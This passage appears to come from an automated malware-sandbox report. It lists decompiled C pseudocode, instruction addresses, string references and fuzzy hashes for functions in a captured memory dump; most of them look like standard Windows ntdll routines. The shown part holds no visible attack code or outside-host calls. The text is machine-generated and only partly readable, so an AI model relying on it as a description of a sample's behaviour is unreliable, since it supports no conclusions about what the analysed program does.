						E00CA52F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E00CB15B5(0xcd8ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x00cb0eb7
0x00cb0eb9
0x00cb0ec0
0x00cb0ec2
0x00cb0ecd
0x00cb105b
0x00cb105b
0x00cb1061
0x00cb1066
0x00cb1066
0x00cb106b
0x00cb1073
0x00cb1073
0x00cb0ed3
0x00cb0ed6
0x00cb0edc
0x00cb0ee0
0x00cb0ee7
0x00cb0ef0
0x00cb0ef5
0x00cb0efa
0x00cb0efc
0x00cb0efd
0x00cb0f03
0x00cb0f04
0x00cb0f06
0x00cb0f07
0x00cb0f09
0x00cb0f0e
0x00cb0f14
0x00cb0f23
0x00cb0f2d
0x00cb0f34
0x00cb0f34
0x00cb0f14
0x00cb0f52
0x00000000
0x00000000
0x00cb0f58
0x00cb0f73
0x00cb0f74
0x00cb0f79
0x00cb0f7d
0x00cb0f80
0x00cb0f86
0x00cb0fab
0x00cb0fb5
0x00cb0fc6
0x00cb0fd1
0x00cb0fe3
0x00cb0fd3
0x00cb0fdc
0x00cb0fdc
0x00cb0feb
0x00cb1009
0x00cb1009
0x00cb1015
0x00cb1027
0x00cb1017
0x00cb1020
0x00cb1020
0x00cb102f
0x00cb103c
0x00cb103c
0x00cb1048
0x00cb1050
0x00cb1050
0x00cb1055
0x00000000
0x00cb1055
0x00cb0f88
0x00cb0f9e
0x00cb0fa2
0x00cb0fa9
0x00000000
0x00000000
0x00000000
0x00cb0fa9
0x00000000

Strings

`, xrefs: 00CB0F16

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: d446db39bce398dc3c85545e040f9e6fa3f1d33da63803634e454cb0c94ea9f5
Instruction ID: bfddba05e47c7e9293f0ea45dd88d7fb76cbac3b3314c0f99a47db1c472ec26c
Opcode Fuzzy Hash: d446db39bce398dc3c85545e040f9e6fa3f1d33da63803634e454cb0c94ea9f5
Instruction Fuzzy Hash: A551BC702043429FD324DF68D895B6BB7E5EBC4704F180A2DF99687291D730ED46CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00C1F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E00C04120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E00C29830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E00C29990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E00C295D0();
							goto L11;
						} else {
							_t109 = L00C04620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E00C2F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E00C295D0();
										L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00c1f0d3
0x00c1f0d9
0x00c1f0e0
0x00c1f0e7
0x00c1f0f2
0x00c1f0f4
0x00c1f0f8
0x00c1f100
0x00c1f108
0x00c1f10d
0x00c1f115
0x00c1f116
0x00c1f11f
0x00c1f123
0x00c1f124
0x00c1f12c
0x00c1f130
0x00c1f134
0x00c1f13d
0x00c1f144
0x00c1f14b
0x00c1f152
0x00c5bab0
0x00c5bab0
0x00c1f158
0x00c1f158
0x00c1f15a
0x00c1f160
0x00c1f165
0x00c1f166
0x00c1f16f
0x00c1f173
0x00c5baa7
0x00c5baa7
0x00c5baab
0x00000000
0x00c1f179
0x00c1f18d
0x00c1f191
0x00c5baa2
0x00000000
0x00c1f197
0x00c1f19b
0x00c1f1a2
0x00c1f1a9
0x00c1f1af
0x00c1f1b2
0x00c1f1b6
0x00c1f1b9
0x00c1f1c4
0x00c1f1d8
0x00c1f1df
0x00c1f1e3
0x00c1f1eb
0x00c1f1ee
0x00c1f1f4
0x00c1f20f
0x00c5bab7
0x00c5babb
0x00c5bacc
0x00c5bad1
0x00c1f215
0x00c1f218
0x00c1f226
0x00c1f22b
0x00000000
0x00c1f22b
0x00c1f1f6
0x00c1f1f6
0x00c1f1f9
0x00c1f1fb
0x00c1f1fb
0x00c1f1f4
0x00c1f191
0x00c1f173
0x00c1f152
0x00c1f203

Strings

@, xrefs: 00C1F124

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 0bcfc317d12edd8f3b6857737c79a5dd1636bb1d315e4c848dd9bd434aad8d79
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 6D51BF71504710AFD321DF29C841A6BBBF8FF48710F108A2DFAA5876A1E7B4E944DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C63540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00C63540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0xcdd360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E00C20BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E00C63706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E00C2FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E00C63540;
						E00C2FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E00C3DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E00C70C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E00C297C0();
					}
					return E00C2B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E00C63971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E00C63884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E00C2FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E00C29650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E00C63787(_a4,  &_v352, _t80);
						}
					}
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E00C295D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00c63552
0x00c6355a
0x00c6355d
0x00c63566
0x00c63567
0x00c6357e
0x00c6358f
0x00c635a1
0x00c635a5
0x00c6366b
0x00c6366b
0x00c6366d
0x00c63672
0x00c63679
0x00c63685
0x00c6368d
0x00c6369d
0x00c636a7
0x00c636b8
0x00c636c6
0x00c636c7
0x00c636dc
0x00c636e1
0x00c636e7
0x00c636e9
0x00c636e9
0x00c63703
0x00c63703
0x00c635b5
0x00c635c0
0x00c635c4
0x00000000
0x00000000
0x00c635ca
0x00c635d7
0x00c635e2
0x00c635e6
0x00c635e8
0x00c635f5
0x00c635fa
0x00c63603
0x00c63604
0x00c63609
0x00c6360a
0x00c63612
0x00c63613
0x00c6361e
0x00c63622
0x00c63628
0x00c6362f
0x00c6362f
0x00c63636
0x00c63638
0x00c6363b
0x00c63642
0x00c63642
0x00c63636
0x00c63657
0x00c63657
0x00c6365c
0x00c63662
0x00c63669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 00C6358F

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 0ef6566180850fc1a011f885bbce6aeb46abcca1016e3d7d5f6d0e8bc8db77b8
Instruction ID: 76d28ab856c2e3e3899a8457f244248ee0e880e69980da2a22f91aa924419136
Opcode Fuzzy Hash: 0ef6566180850fc1a011f885bbce6aeb46abcca1016e3d7d5f6d0e8bc8db77b8
Instruction Fuzzy Hash: 08416DB2D0016CABDB219A50DC85FEEB77CAB44714F0045A5FA09AB241DB309F889FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CB05AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00CB05AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E00CB07DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E00C29730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E00CAA80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E00CAA854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E00CB1293(_t79, _v40, E00CB07DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E00C07D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E00CA138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x00cb05c5
0x00cb05ca
0x00cb05d3
0x00cb06db
0x00cb06db
0x00cb06dd
0x00cb06e3
0x00cb06e3
0x00cb05dd
0x00cb05e7
0x00cb05f6
0x00cb0600
0x00cb0607
0x00cb0610
0x00cb0615
0x00cb061a
0x00cb061c
0x00cb061e
0x00cb0624
0x00cb0625
0x00cb0627
0x00cb0628
0x00cb0631
0x00cb0640
0x00cb064d
0x00cb0654
0x00cb0654
0x00cb0631
0x00cb066d
0x00cb0674
0x00000000
0x00000000
0x00cb0692
0x00cb069e
0x00cb06b0
0x00cb06a0
0x00cb06a9
0x00cb06a9
0x00cb06b8
0x00cb06d6
0x00cb06d6
0x00000000

Strings

`, xrefs: 00CB0633

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 313e40cd3a1710af810d1a4b8712274cd48c432b92a09d1b6dbd27ff6fb193aa
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: D031E0326043156BE720DE25CC86F9B77D9AB84754F144229FE58AB280D770EE14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C63884, Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 00C638B4

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: f18e20c8d9ce3b7a705e36e3258053a11e947de55af58bbaff390baadd448da9
Instruction ID: 2f79a406a2cff13d4a767d7ca893f6bd9eb94e66e7fe56734351cba2f69473bb
Opcode Fuzzy Hash: f18e20c8d9ce3b7a705e36e3258053a11e947de55af58bbaff390baadd448da9
Instruction Fuzzy Hash: 49312532D00559AFEB25DB59C985EBFB7B4EF90B20F114169F914A7281D7709F00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D294, Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 00C1D303

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a71a21301fadb3e464e960004f77ffff33b2c5d22d7ce6ba74acb5d2cc3400fe
Instruction ID: e2178c208bdeaf1af6ef7720052734be87fb6b70f6ebc0a0c47d685247953114
Opcode Fuzzy Hash: a71a21301fadb3e464e960004f77ffff33b2c5d22d7ce6ba74acb5d2cc3400fe
Instruction Fuzzy Hash: EA31D5B15083019FC311DF29C88199BBBF8EB86754F400A2EF9A683260D734DD84EB93

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1B8F, Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 00BF1BC5

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: a0e8c91ce6fd68e825dda46ab2aea6b7f401aff98da340a572d10e773a41fce1
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: A521F27694522CEBCB229A9D8880F6BB7EDEF41B50F154DA5FA05CF200D631DD04E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00C0F716, Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 00C0F73F

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 6a24600a0e4a37d2c9ba54c2a73429d3644dad0663889f8b0b090eb2e7535012
Instruction ID: c8f141b07b61f215633bd79a96de990ca6aad11b8a354f95cf4e4517a0c9f9ac
Opcode Fuzzy Hash: 6a24600a0e4a37d2c9ba54c2a73429d3644dad0663889f8b0b090eb2e7535012
Instruction Fuzzy Hash: CA117C393046028BEB398E1E849072A7299AB95764F34453EE871CBBD1DBA0DDC3C742

Uniqueness

Uniqueness Score: -1.00%

Function 00C98DF1, Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Critical error detected %lx, xrefs: 00C98E21

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: c73af06bd96c9acdb66c9686b917593920217d988dd9831502d785992228e485
Instruction ID: 91e18ff5f9f06aef63c2cce50af3d5f648f7c17906392e0f35be48aa3374d49c
Opcode Fuzzy Hash: c73af06bd96c9acdb66c9686b917593920217d988dd9831502d785992228e485
Instruction Fuzzy Hash: B8118BB9D10348DBDF24CFB8950A79CBBB0BB05311F20825EE06AAB292C7700A05DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 00C7FF60

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 8f680199fc81246a71a4044360761aa84191692410d358936add270efcbe5a27
Instruction ID: 71d3cdb52fe41dad2ca1baa65d193e3d02bfd2563f2f9a32bdd80cb0f2dd776b
Opcode Fuzzy Hash: 8f680199fc81246a71a4044360761aa84191692410d358936add270efcbe5a27
Instruction Fuzzy Hash: A311E171520544EFDB12DB90CC89F9CB7F2FB08714F14C068F109572A2CB389A40EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00CB5BA5, Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f953e4825b8d6012aeb5eecc1476e2bff133b5670f7dee4a7217f0d094dfd57
Instruction ID: b8f6e49846cb6c53fc8f13abbac78f48ee291831c043b29dd95551ac5416c27e
Opcode Fuzzy Hash: 9f953e4825b8d6012aeb5eecc1476e2bff133b5670f7dee4a7217f0d094dfd57
Instruction Fuzzy Hash: 43424975A00629CFDB24CF68C881BA9B7B1FF49304F1481AAD95DAB252D7349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00C04120, Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddd08a89bae2b25f3129d9e5d19d24aa27be5dbdf680cfdb88c274382a4f2bed
Instruction ID: 7f5c4552b981219ec717c81256a8222f391d96632e727bdea64ad5999af94fe5
Opcode Fuzzy Hash: ddd08a89bae2b25f3129d9e5d19d24aa27be5dbdf680cfdb88c274382a4f2bed
Instruction Fuzzy Hash: 8BF17CB06082118BC728CF59C480A3BB7E1FF98714F15492EFA96CB2A1E734DD95DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00C120A0, Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2bcbb597a4eedb5ba4baa43a7de9ba59f7c4694f69a79449e5e96401aea1261
Instruction ID: 0af16149f5996ec4cdbd752fc5051efc9d944920466ee57d6e00f6d6c541d121
Opcode Fuzzy Hash: e2bcbb597a4eedb5ba4baa43a7de9ba59f7c4694f69a79449e5e96401aea1261
Instruction Fuzzy Hash: B3F133786087419FDB25CB29C8507AE77E1AF86320F24852DF8A58B390D734DDD5EB82

Uniqueness

Uniqueness Score: -1.00%

Function 00BF849B, Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09eed9dbf935a9437fb9ce66ad5d31712c3742b43aea6ab083e211fa3a482d07
Instruction ID: eddaecb37e52cbee909c48fa7b7ea1e5abd4db60966aa033bd0504bfcb596260
Opcode Fuzzy Hash: 09eed9dbf935a9437fb9ce66ad5d31712c3742b43aea6ab083e211fa3a482d07
Instruction Fuzzy Hash: 25B18D70E00219EFDB14DF98D984AAEBBF5FF48304F20416AE605AB356DB70AD49DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C1513A, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9bc91e740e18f012dfcb4348366dedf06203ac3007a4d14ac2b7716a36f96ab
Instruction ID: cdcd3c82ef1c20907716bf93122f3ab20d0ac3a0508effdeaa93ebf0de47e7f6
Opcode Fuzzy Hash: c9bc91e740e18f012dfcb4348366dedf06203ac3007a4d14ac2b7716a36f96ab
Instruction Fuzzy Hash: 5DC121796093808FD354CF28C580A6AFBF1BF89304F544A6EF8998B352D771E985CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00C103E2, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1b3b47cfabb99b17c47a1715aeb7326021852624f04f7201b7bd5f7e4a9b06c
Instruction ID: d950d07aeedf3414aed1f2ff5e63987e8fd43f70f195e71a26a37469df92f500
Opcode Fuzzy Hash: c1b3b47cfabb99b17c47a1715aeb7326021852624f04f7201b7bd5f7e4a9b06c
Instruction Fuzzy Hash: 99914831E002149FDB259B68C845BED77B0AF02728F250265FD21AB2D1D7B49EC4EB85

Uniqueness

Uniqueness Score: -1.00%

Function 00BEC600, Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f5049eeaebc11520d36c1ccaf5a9e4d4a03a2e7cbac227ac589e143d1dbac9
Instruction ID: 9ffe01338df96c656d2dfe2fb1da4efdb1b6079d241334652cbfdcb76b010dbd
Opcode Fuzzy Hash: 06f5049eeaebc11520d36c1ccaf5a9e4d4a03a2e7cbac227ac589e143d1dbac9
Instruction Fuzzy Hash: D581B1796082418BCB25CE14E881E3F73E4EB84351F244A6AFD558B241D330DEC9DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B8D0, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faab705946211c987c13f7535f094b08992d31a48073659b525974482994336f
Instruction ID: aa6aa5126628c01f867f88c5450d9430d7261ee804a339521f5e41b1c5b58509
Opcode Fuzzy Hash: faab705946211c987c13f7535f094b08992d31a48073659b525974482994336f
Instruction Fuzzy Hash: 9871DF32200701AFD722DF19C846F66B7B5EF44720F248528F669976E1DB75EE40EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C66DC9, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: dd5893ca6936a23d67d888940405aaef34598e0940e8adf90c170b9a6e0da179
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 94718A71E00619EFCB20DFA8C985AEEBBB9FF48704F104569E504E7291DB30AA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BE52A5, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e4fffa611a458c7ec9873cef56f77c09efe651e9d0d8abd743ff6060fe7ab7
Instruction ID: 11699ea920022d49a268827b1fbb12f5a5a1c2682d0137b2696dba78adbb5881
Opcode Fuzzy Hash: 12e4fffa611a458c7ec9873cef56f77c09efe651e9d0d8abd743ff6060fe7ab7
Instruction Fuzzy Hash: FC5123312457819FD721EF68C882B27B7E4FF50714F200A2EF6A5876A2E770E844D791

Uniqueness

Uniqueness Score: -1.00%

Function 00C12AE4, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694851e72a4a8da688c0a5edbac8e7e3285aabdf10d7012e85c7898deff34ab1
Instruction ID: 9e9dcd3cb317b46c06b5b2bfb489958f33e902adf1474561e75e0ffa3155984b
Opcode Fuzzy Hash: 694851e72a4a8da688c0a5edbac8e7e3285aabdf10d7012e85c7898deff34ab1
Instruction Fuzzy Hash: 1851B47AB04115CFCB18CF1DC8909FDB7B2FB89700715845AE8569B364D734AEA1EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CAAE44, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67dd977270f6e5ab919e26d83a119c02c7c430a8f52d699d356f9ad71591f20c
Instruction ID: 2c2cdc78e57926f6327beab3a1606126de28ec2c55404100b3200cdd711a9304
Opcode Fuzzy Hash: 67dd977270f6e5ab919e26d83a119c02c7c430a8f52d699d356f9ad71591f20c
Instruction Fuzzy Hash: C641F5B17006126FC72A9A66CC84B7BB399AF86728F04421AFC2687290DB34DD01D692

Uniqueness

Uniqueness Score: -1.00%

Function 00C0DBE9, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfe2f74b431692bc0dd4b1dc5b362031ee32e00e82363d550cbefc643e822263
Instruction ID: e5a33bad108d8f951177582630e7c6761f2a8131ef91a6211cf3d1c6b131691d
Opcode Fuzzy Hash: cfe2f74b431692bc0dd4b1dc5b362031ee32e00e82363d550cbefc643e822263
